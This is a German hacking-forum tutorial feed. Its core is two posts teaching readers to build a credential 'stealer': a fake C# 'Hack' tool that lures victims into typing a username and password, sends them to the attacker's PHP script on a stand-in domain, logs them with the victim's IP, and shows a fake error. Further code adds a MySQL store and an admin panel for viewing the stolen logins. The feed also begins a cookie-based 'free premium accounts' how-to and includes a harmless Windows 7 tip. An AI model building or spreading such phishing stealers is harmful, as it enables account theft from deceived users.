#0000BB">$verbindung</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><u><font color="Red">1.2.2 Eine Tabelle erstellen</font></u><br />
<br />
Eine neue Tabelle erstellt man so:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">CREATE&nbsp;TABLE&nbsp;tabelle<br /></span><span style="color: #007700">(<br /></span><span style="color: #0000BB">Spalte1&nbsp;datentyp</span><span style="color: #007700">,<br /></span><span style="color: #0000BB">Spalte2&nbsp;datentyp</span><span style="color: #007700">,<br /></span><span style="color: #0000BB">Spalte3&nbsp;datentyp</span><span style="color: #007700">,<br />....<br />)&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Und etwas anschaulicher:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">mysql_select_db</span><span style="color: #007700">(</span><span style="color: #DD0000">"datenbankname"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$verbindung</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$sql&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"CREATE&nbsp;TABLE&nbsp;Personen<br />(<br />Vorname&nbsp;varchar(15),<br />Nachname&nbsp;varchar(15),<br />Alter&nbsp;int<br />)"</span><span style="color: #007700">;<br /><br /></span><span style="color: #FF8000">//Die&nbsp;Abfrage&nbsp;ausführen<br /></span><span style="color: #0000BB">mysql_query</span><span style="color: #007700">(</span><span style="color: #0000BB">$sql</span><span style="color: #007700">,</span><span style="color: #0000BB">$verbindung</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><u><font color="Red">1.3 Daten eintragen</font></u><br />
<br />
Wie trage ich etwas in eine Tabelle ein?<br />
Natürlich muss man zuerst eine Verbindung zum Server herstellen und eine Datenbank auswählen.<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">INSERT&nbsp;INTO&nbsp;table_name&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">Spalte1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Spalte2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Spalte3</span><span style="color: #007700">,...)<br /></span><span style="color: #0000BB">VALUES&nbsp;</span><span style="color: #007700">(</span><span style="color: #0000BB">Wert1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Wert2</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Wert3</span><span style="color: #007700">,...)&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Etwas anschaulicher:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">mysql_query</span><span style="color: #007700">(</span><span style="color: #DD0000">"INSERT&nbsp;INTO&nbsp;Personen&nbsp;(Vorname,&nbsp;Nachname,&nbsp;Alter)<br />VALUES&nbsp;('Homer',&nbsp;'Simpson',37)"</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Das zweite Tutorial wird in einem anderen Thread veröffentlicht, also haltet euch bitte nicht zurück etwas zu ergänzen oder mich zu verbessern.<br />
<br />
LG</div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Snees</dc:creator>
			<guid isPermaLink="true">tutorials-107/tutorial-sql-fuer-einsteiger-teil-1-15065</guid>
		</item>
		<item>
			<title><![CDATA[[Tutorial] Stealer-Panel + Absicherung + MySQL Umbau(PHP/HTML)]]></title>
			<link>tutorials-107/tutorial-stealer-panel-absicherung-mysql-umbau-php-html-14930?goto=newpost</link>
			<pubDate>Fri, 20 Jul 2012 07:41:57 GMT</pubDate>
			<description>Hey,  
 
Nun der zweite Teil. Im letzen Tutorial haben wir uns dem Stealer als Programm gewidmet, wo wir nichts mehr verändern müssen und dem PHP...</description>
			<content:encoded><![CDATA[<div>Hey, <br />
<br />
Nun der zweite Teil. Im letzen Tutorial haben wir uns dem Stealer als Programm gewidmet, wo wir nichts mehr verändern müssen und dem PHP Script welches wir nun noch ein bisschen verändern werden, zur Absicherung von MySQL Injections. <br />
<br />
Zuerst öffnen wir unsere Stealer PHP Datei und erhalten unseren Code. Dort entdecken wir 2 Variablen($username und $pass) diese Variablen müssen wir noch vor den Injections sichern indem wir folgendes nutzen: <b>mysql_real_escape_string</b>, dort müssen wir dann den String als Parameter übergeben und schon ist das Script gesichert. Also ersetzen wir: <br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">$username&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'user'</span><span style="color: #007700">&#93;;&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>durch<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">$username&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">mysql_real_escape_string</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'user'</span><span style="color: #007700">&#93;);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>und<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">$pass&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'pw'</span><span style="color: #007700">&#93;;&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>durch <br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">$pass&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">mysql_real_escape_string</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'pw'</span><span style="color: #007700">&#93;);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Das wars auch schon zur Absicherung, widmen wir uns nun PHPMyAdmin bzw. MySQL. Zuerst legen wir uns eine neue Datenbank &quot;script&quot; an. Nun geht ihr oben auf SQL und fügt dort folgenden Code ein: <br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">$sql&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"CREATE&nbsp;TABLE&nbsp;`script`.`data`&nbsp;(`id`&nbsp;INT(255)&nbsp;NOT&nbsp;NULL&nbsp;AUTO_INCREMENT,&nbsp;`user`&nbsp;VARCHAR(200)&nbsp;CHARACTER&nbsp;SET&nbsp;latin1&nbsp;COLLATE&nbsp;latin1_bin&nbsp;NOT&nbsp;NULL,&nbsp;`pass`&nbsp;VARCHAR(200)&nbsp;CHARACTER&nbsp;SET&nbsp;latin1&nbsp;COLLATE&nbsp;latin1_bin&nbsp;NOT&nbsp;NULL,&nbsp;`ip`&nbsp;VARCHAR(200)&nbsp;CHARACTER&nbsp;SET&nbsp;latin1&nbsp;COLLATE&nbsp;latin1_bin&nbsp;NOT&nbsp;NULL,&nbsp;PRIMARY&nbsp;KEY&nbsp;(`id`),&nbsp;UNIQUE&nbsp;(`user`,&nbsp;`pass`))&nbsp;ENGINE&nbsp;=&nbsp;InnoDB;"</span><span style="color: #007700">;&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>und klickt ok. Das wars dann auch mit phpmyadmin. Nun kommen wir wieder zum Script. Wir löschen alles hinter dem }else{ bis zum } danach fügen wir folgenden Code dort ein:<br />
 <div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">$connection&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">mysql_connect</span><span style="color: #007700">(</span><span style="color: #DD0000">"localhost"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"root"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">mysql_select_db</span><span style="color: #007700">(</span><span style="color: #DD0000">"script"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$connection</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$sqlquery&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"INSERT&nbsp;INTO&nbsp;`data`&nbsp;SET&nbsp;`user`&nbsp;=&nbsp;'</span><span style="color: #0000BB">$username</span><span style="color: #DD0000">',&nbsp;`pass`&nbsp;=&nbsp;'</span><span style="color: #0000BB">$pass</span><span style="color: #DD0000">',&nbsp;`ip`&nbsp;=&nbsp;'</span><span style="color: #0000BB">$ip</span><span style="color: #DD0000">'"</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">mysql_query</span><span style="color: #007700">(</span><span style="color: #0000BB">$sqlquery</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$connection</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">mysql_close</span><span style="color: #007700">(</span><span style="color: #0000BB">$connection</span><span style="color: #007700">)&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Auch ein ziemlich simpler Code, am Anfang erstellen wir die Variable wo die Connection drinne gespeichert wird, dort übergeben wir 3 Parameter: host, user, pw. Danach wählen wir die Datenbank aus, dort muss 1 Parameter(Datenbankname) gegeben werden und es kann auch noch wie in meinem Fall die connection als optionaler Parameter übergeben werden.<br />
Danach erstellen wir einen String mit der MySQL Abfrage welche wir gleich danach ausführen. Mit mysql_query wo 1 wichtiger und 1 optionaler Parameter übergeben werden müssen. Am Ende schließen wir das ganze noch und das war es dann auch, nun widmen wir uns dem Stealerscript. <br />
<br />
Dieses Stealer-Panel Tutorial wird gleich in einem weiteren Beitrag posten.<br />
<br />
<img src="http://u-hacks.net/images/icons/icon4.gif" border="0" alt="" /><font color="Red">Ich übernehme <b>keine</b> Haftung für dieses Tutorial, der Content ist ausschließlich für Lernzwecke gedacht und soll <b>keineswegs</b> für kriminelle Aktivitäten gebraucht werden.</font><br />
__________________<br />
/edit:<br />
Stealerpanel Code: <br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />$conn&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">mysql_connect</span><span style="color: #007700">(</span><span style="color: #DD0000">"localhost"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"root"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">""</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">mysql_select_db</span><span style="color: #007700">(</span><span style="color: #DD0000">"script"</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$conn</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$code&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"SELECT&nbsp;id,&nbsp;user,&nbsp;pass,&nbsp;ip&nbsp;FROM&nbsp;`data`"</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$query&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">mysql_query</span><span style="color: #007700">(</span><span style="color: #0000BB">$code</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$conn</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$datacount&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">mysql_num_rows</span><span style="color: #007700">(</span><span style="color: #0000BB">$query</span><span style="color: #007700">);<br />echo&nbsp;</span><span style="color: #DD0000">"Es&nbsp;sind&nbsp;"</span><span style="color: #007700">.</span><span style="color: #0000BB">$datacount</span><span style="color: #007700">.</span><span style="color: #DD0000">"&nbsp;Datensaetze&nbsp;vorhanden."</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">?&gt;<br /></span>&lt;html&gt;<br />&lt;table&gt;<br />&lt;tr&gt;<br />&lt;td&gt;ID&lt;/td&gt;<br />&lt;td&gt;User&lt;/td&gt;<br />&lt;td&gt;PW&lt;/td&gt;<br />&lt;td&gt;IP&lt;/td&gt;<br />&lt;/tr&gt;<br /><br /><span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">while(</span><span style="color: #0000BB">$ad&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">mysql_fetch_array</span><span style="color: #007700">(</span><span style="color: #0000BB">$query</span><span style="color: #007700">)){<br /></span><span style="color: #0000BB">?&gt;<br /></span>&lt;tr&gt;<br />&lt;td&gt;<span style="color: #0000BB">&lt;?=$ad</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'id'</span><span style="color: #007700">&#93;</span><span style="color: #0000BB">?&gt;</span>&lt;/td&gt;<br />&lt;td&gt;<span style="color: #0000BB">&lt;?=$ad</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'user'</span><span style="color: #007700">&#93;</span><span style="color: #0000BB">?&gt;</span>&lt;/td&gt;<br />&lt;td&gt;<span style="color: #0000BB">&lt;?=$ad</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'pass'</span><span style="color: #007700">&#93;</span><span style="color: #0000BB">?&gt;</span>&lt;/td&gt;<br />&lt;td&gt;<span style="color: #0000BB">&lt;?=$ad</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'ip'</span><span style="color: #007700">&#93;</span><span style="color: #0000BB">?&gt;</span>&lt;/td&gt;<br />&lt;/tr&gt;<br /><span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">}<br /></span><span style="color: #0000BB">?&gt;<br /></span>&lt;/table&gt;<br />&lt;br&gt;<br />&lt;form&nbsp;method="post"&gt;<br />Datensatz&nbsp;löschen&nbsp;by&nbsp;ID&nbsp;&lt;input&nbsp;type="text"&nbsp;name="id"&gt;&nbsp;&lt;br&gt;<br />&lt;input&nbsp;type="submit"&nbsp;name="butt"&nbsp;value="Absenden"&gt;<br />&lt;/form&gt;<br />&lt;/html&gt;<br /><span style="color: #0000BB">&lt;?php<br /></span><span style="color: #007700">if(isset(</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'butt'</span><span style="color: #007700">&#93;))&nbsp;{<br /></span><span style="color: #0000BB">$id&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_POST</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'id'</span><span style="color: #007700">&#93;;<br /></span><span style="color: #0000BB">$sql&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #DD0000">"DELETE&nbsp;FROM&nbsp;`script`.`data`&nbsp;WHERE&nbsp;`data`.`id`&nbsp;=&nbsp;'</span><span style="color: #0000BB">$id</span><span style="color: #DD0000">'"</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">mysql_query</span><span style="color: #007700">(</span><span style="color: #0000BB">$sql</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$conn</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">header</span><span style="color: #007700">(</span><span style="color: #DD0000">'Location:&nbsp;Stealerpanel.php'</span><span style="color: #007700">);<br />}<br /><br /></span><span style="color: #0000BB">?&gt;</span>
</span>
</code></code><hr />
</div>Ich erklär den Code wahrscheinlich heute Abend :). Habe grade leider keine Zeit dafür.<br />
<br />
<img src="http://u-hacks.net/images/icons/icon4.gif" border="0" alt="" /> <font color="RED">Ich übernehme keine Haftung für dieses Tutorial, der Content ist ausschließlich für Lernzwecke gedacht und soll keineswegs für kriminelle Aktivitäten gebraucht werden. </font></div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>rVs14</dc:creator>
			<guid isPermaLink="true">tutorials-107/tutorial-stealer-panel-absicherung-mysql-umbau-php-html-14930</guid>
		</item>
		<item>
			<title><![CDATA[[Tutorial] Stealer (C# + PHP) #1]]></title>
			<link>tutorials-107/tutorial-stealer-c-php-1-14916?goto=newpost</link>
			<pubDate>Thu, 19 Jul 2012 19:34:20 GMT</pubDate>
			<description>Hallo, 
 
In diesem Tutorial möchte ich euch zeigen wie ihr in Verbindung von PHP sowie C# euren eigenen Stealer programmieren könnt. 
 
:arrowt:...</description>
			<content:encoded><![CDATA[<div>Hallo,<br />
<br />
In diesem Tutorial möchte ich euch zeigen wie ihr in Verbindung von PHP sowie C# euren eigenen Stealer programmieren könnt.<br />
<br />
:arrowt: Vorraussetzungen<br />
<ul><li style="">C# IDE</li><li style="">kleine PHP Vorkenntnisse</li><li style="">Geduld</li></ul><br />
<br />
:arrowt: <font size="5"><b>PHP</b></font><br />
Zu aller erst widmen wir uns dem PHP Script welches ziemlich Simpel ist, entweder machen wir es über eine Datenbank (finde ich persönlich besser) oder über eine Textdatei. Ich werde in diesem Thread 2 Tutorials verfassen, und dazu kommt noch ein Thread mit einem Control Panel um die Einträge zu verwalten.<br />
Jedoch benutzen wir zuerst die Textdatei Methode.<br />
<br />
Dafür erstellen wir uns ein PHP Dokument. Nun müssen wir uns Gedanken darüber machen, wie wir diese ganzen Daten übergeben können. Ganz einfach, wir übergeben 2 Parameter über $_GET (<a href="http://php.net/manual/de/reserved.variables.get.php" target="_blank" rel="nofollow">PHP: $_GET - Manual</a>). Das heißt unsere Adresse ist dann etwa so aufgebaut: <a href="http://meinedomain.com/script.php?user=peter&amp;pw=klausi" target="_blank" rel="nofollow">http://meinedomain.com/script.php?user=peter&amp;pw=klausi</a> . Nachdem unser Script das empfangen hat, speichert es die Parameter in Variablen, öffnet die Textdatei und schreibt es rein.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php&nbsp;<br />$username&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'user'</span><span style="color: #007700">&#93;;<br /></span><span style="color: #0000BB">$pass&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'pw'</span><span style="color: #007700">&#93;;<br /></span><span style="color: #0000BB">$ip&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'REMOTE_ADDR'</span><span style="color: #007700">&#93;;<br />if(</span><span style="color: #0000BB">$username&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null&nbsp;</span><span style="color: #007700">||&nbsp;</span><span style="color: #0000BB">$pass&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)&nbsp;{<br />echo&nbsp;</span><span style="color: #DD0000">"Fail&nbsp;01"</span><span style="color: #007700">;<br />exit();<br />}else{<br /></span><span style="color: #0000BB">$filehandler&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">fopen</span><span style="color: #007700">(</span><span style="color: #DD0000">"data.txt"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"a"</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">$content&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">$username</span><span style="color: #007700">.</span><span style="color: #DD0000">":"</span><span style="color: #007700">.</span><span style="color: #0000BB">$pass</span><span style="color: #007700">.</span><span style="color: #DD0000">":"</span><span style="color: #007700">.</span><span style="color: #0000BB">$ip</span><span style="color: #007700">.</span><span style="color: #DD0000">"\r\n"</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">fwrite</span><span style="color: #007700">(</span><span style="color: #0000BB">$filehandler</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">$content</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">fclose</span><span style="color: #007700">(</span><span style="color: #0000BB">$filehandler</span><span style="color: #007700">);<br />}<br /></span><span style="color: #0000BB">?&gt;</span>
</span>
</code></code><hr />
</div>Zu aller erst deklaieren wir 3 Variablen ($username, $pass, $ip), und füllen diese mit Werten. Danach schauen wir das die Werte nicht vorhanden sind, wenn sie nicht vorhanden sind, brechen wir das Script ab und geben eine Fehlermeldung aus. Wenn die 2 Werte nicht leer sind, dann kommt das else (=oder) und erstellen wieder eine neue Variable namens: $filehandler. Diese füllen wir mit einen fopen(<a href="http://se2.php.net/manual/de/function.fopen.php" target="_blank" rel="nofollow">PHP: fopen - Manual</a> ). Dort haben wir 2 Parameter übergeben, zum einen den File-Path sowie die Methode. Das ist jedoch auf der der Seite: <a href="http://se2.php.net/manual/de/function.fopen.php" target="_blank" rel="nofollow">fopen</a> genau beschrieben, unter dem Punkt: mode. Nun fragt ihr euch sicherlich, warum dafür eine Variable? Der Grund ist ganz einfach: wir müssen es gleich bei fwrite als Parameter übergeben. Nun kommt die Variable $content, diese ist meiner Meinung nach einfach zu verstehen. Wir verketten den Usernamen, das Password, die IP und am Ende ein Zeilenumbruch(\r\n) . Als Trennzeichen benutzen wir einen Doppelpunkt. Nun kommen wir zum fwrite, dort übergeben wir wieder 2 Parameter, zum einen der Handler($filehandler) und den Content($content). Und zu guter letzt, rufen wir fclose auf und übergeben dort wieder den Handler($filehandler). So das war auch der PHP Part. Hier möchte ich jedoch erwähnen, dass man das Script so oft aufrufen kann wie man will, das heißt man kann die ganze Textdatei zuspammen, wir bauen später einen Spamschutz ein, oder wir nutzen die MySQL Variante wo soetwas garnicht erst passiert.<br />
<br />
<br />
:arrowt: <b><font size="5">C#</font></b> <br />
<br />
Nunja, kommen wir zum kleinen C# Part, mal wieder müssen wir uns überlegen wie wir die Sache angehen. Ganz einfach, wir erstellen ein neues Projekt mit einer Form oder Console. Also erstellen wir uns eine typische Stealerform, 3 Labels, 2 Textboxen, 2 Radiobuttons und 1 Button. <br />
Label1 = Username<br />
Label2 = Passwort<br />
Label3 = Punkteauswahl<br />
Radiobutton1 = 30000<br />
Radiobutton2 = 80000<br />
Button1 = Hack<br />
<br />
Nun platziert ihr noch alles so wie es euch gefällt, hierbei ist aber wichtig das Textbox1 vor dem Username Label und Textbox2 vor dem Passwort Label steht. <br />
Zu erst fügt ihr 2 neue Usingdirektive hinzu: using System.Net.WebClient; und using Sytstem.Threading<br />
Nun macht ihr einen doppelklick auf den Hack-Button und schreibt dort folgenden Code: <br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">WebClient&nbsp;client&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">WebClient</span><span style="color: #007700">();<br /></span><span style="color: #0000BB">String&nbsp;qt&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">client</span><span style="color: #007700">.</span><span style="color: #0000BB">DownloadString</span><span style="color: #007700">(</span><span style="color: #DD0000">"http://meinedomain.com/script.php?user="&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">textbox1</span><span style="color: #007700">.</span><span style="color: #0000BB">Text&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #DD0000">"&amp;pw="&nbsp;</span><span style="color: #007700">+&nbsp;</span><span style="color: #0000BB">textbox2</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">Thread</span><span style="color: #007700">.</span><span style="color: #0000BB">Sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">2000</span><span style="color: #007700">);<br /></span><span style="color: #0000BB">Messagebox</span><span style="color: #007700">.</span><span style="color: #0000BB">Show</span><span style="color: #007700">(</span><span style="color: #DD0000">"Ups,&nbsp;es&nbsp;ist&nbsp;ein&nbsp;Fehler&nbsp;aufgetreten,&nbsp;bitte&nbsp;starte&nbsp;das&nbsp;Programm&nbsp;neu!"</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Das ist wohl noch simpler als der PHP Part, von da her gibt es hier auch nicht so viel zu erklären. <br />
Zuerst erstellen wir eine neue WebClient-Instanz, welche wir gleich danach benutzen. Dann erstellen wir einen String, welcher den Quelltext unserer Stealerseite aufruft, das wollen wir garnicht, wir wollen nur das unser Programm die URL aufruft und übergibt dabei die beiden Parameter, welche aus den Textboxen bezogen werden. Dies geht zwar wahrscheinlich mit Webrequest schneller, jedoch reicht die Methode völlig aus. Danach lassen wir das Programm 20 Sekunden warten, und dann gibt es die Meldung aus.<br />
<br />
<font color="RED">Zu aller letzt möchte ich noch sagen, dass diese Stealer illegal sind und nur zu Testzwecken verwendet dürfen. Für alles andere hafte ich <b>nicht</b>. <br />
Dieses Tutorial dient ausdrücklich zum Lerneffekt!</font><br />
<br />
PS: Falls Fehler auftreten, sagt mir das bitte hier im Thread. Zudem konnte ich den C# Sourcecode nicht überprüfen da ich C# z.Z nicht auf dem PC habe, der Code ist aus dem Kopf geschrieben. Achja für die oberschlauen(:D), ich hab mir nicht die anderen Methoden von der Webclient Klasse durchgelesen, daher ist das mit DownloadString wahrscheinlich Quatsch aber es klappt ;).<br />
<br />
Nächstes Tutorial: Absicherung des Scripts für die Verwendung von MySQL.</div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>rVs14</dc:creator>
			<guid isPermaLink="true">tutorials-107/tutorial-stealer-c-php-1-14916</guid>
		</item>
		<item>
			<title>Windows 7  Log in/out Screen changen</title>
			<link>tutorials-107/windows-7-log-in-out-screen-changen-13603?goto=newpost</link>
			<pubDate>Fri, 15 Jun 2012 11:32:19 GMT</pubDate>
			<description>Hallo Leute ,  
 
heute zeige ich euch wie man den Login/logout Screen bei Win7 ändert. 
 
Variante Nr.1 
 
1. Ihr schnappt euch das Bild ,dass ich...</description>
			<content:encoded><![CDATA[<div>Hallo Leute , <br />
<br />
heute zeige ich euch wie man den Login/logout Screen bei Win7 ändert.<br />
<br />
Variante Nr.1<br />
<br />
1. Ihr schnappt euch das Bild ,dass ich später haben wollt und verkleinert die Datengröße auf 256kb<br />
 <br />
2. Ihr benennt es nach background.jpg (muss ne jpg sein)<br />
<br />
3.Ihr packt es in dieses Verzeichnis <br />
<br />
<b>C:\windows\system32\oobe\info\backgrounds</b><br />
(falls info und background nicht vorhanden sind erstellen)<br />
4. Die registry ändern <br />
<br />
in die Suche regedit eingeben und dort im Verzeichnis <br />
<br />
HKLM\Software\Microsoft\Windows\CurrentVersion\Aut  hentication\LogonUI\Background <br />
<br />
und den Wert auf 1 ändern... falls nicht vorhanden erstellen. <br />
<br />
<br />
Variante 2  <br />
<br />
<br />
1. Ihr downloadet euch das hier <a href="https://u-labs.de/forum/attachment.php?attachmentid=160"  title="Name:  
Hits: 
Größe:  ">Anhang 160</a><br />
<br />
<br />
2.entpacken<br />
<br />
3.starten<br />
<br />
4.change logon screen<br />
<br />
5.Bild auswählen (kann größer sein als 256kb größe wird angepasst)<br />
<br />
6.bestätigen <br />
<br />
7.sich Freuen<br />
<br />
<br />
<br />
vielen Dank für das Programm an das Tweaks.com Team<br />
_______<br />
<br />
mfg Sili</div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Silidor</dc:creator>
			<guid isPermaLink="true">tutorials-107/windows-7-log-in-out-screen-changen-13603</guid>
		</item>
		<item>
			<title><![CDATA[[HowTo] Free Premium Accounts]]></title>
			<link>tutorials-107/howto-free-premium-accounts-13296?goto=newpost</link>
			<pubDate>Fri, 08 Jun 2012 08:17:06 GMT</pubDate>
			<description><![CDATA[Heyho,  
 
da ich dieses Tutorial schon so oft gesehen habe & es hier immer wieder Leute gibt, die einen Premium Account brauchen, habe ich mich...]]></description>
			<content:encoded><![CDATA[<div>Heyho, <br />
<br />
da ich dieses Tutorial schon so oft gesehen habe &amp; es hier immer wieder Leute gibt, die einen Premium Account brauchen, habe ich mich entschlossen dieses Tutorial zu Posten. Nochmal vorweg: Es ist nicht von mir!<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			Vermutlich kenn ihr das; ihr wollt etwas herunterladen, aber habt keinen Premium Account dazu oder findet einfach keinen.<br />
In diesem Tutorial zeige ich euch, wie ihr einen solchen Account gratis bekommt und das ganz legal.<br />
<br />
<br />
Was wird benötigt:<br />
<ul><li style="">Mozilla Firefox / Google Chrome</li><li style="">    Cookie Manager+ (FireFox) <a href="https://addons.mozilla.org/en-US/firefox/addon/cookies-manager-plus" target="_blank" rel="nofollow">[Download]</a> / Edit This Cookie (Chrome) <a href="https://chrome.google.com/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg" target="_blank" rel="nofollow">[Download]</a></li><li style="">    Etwas Zeit</li></ul><br />
<br />
<br />
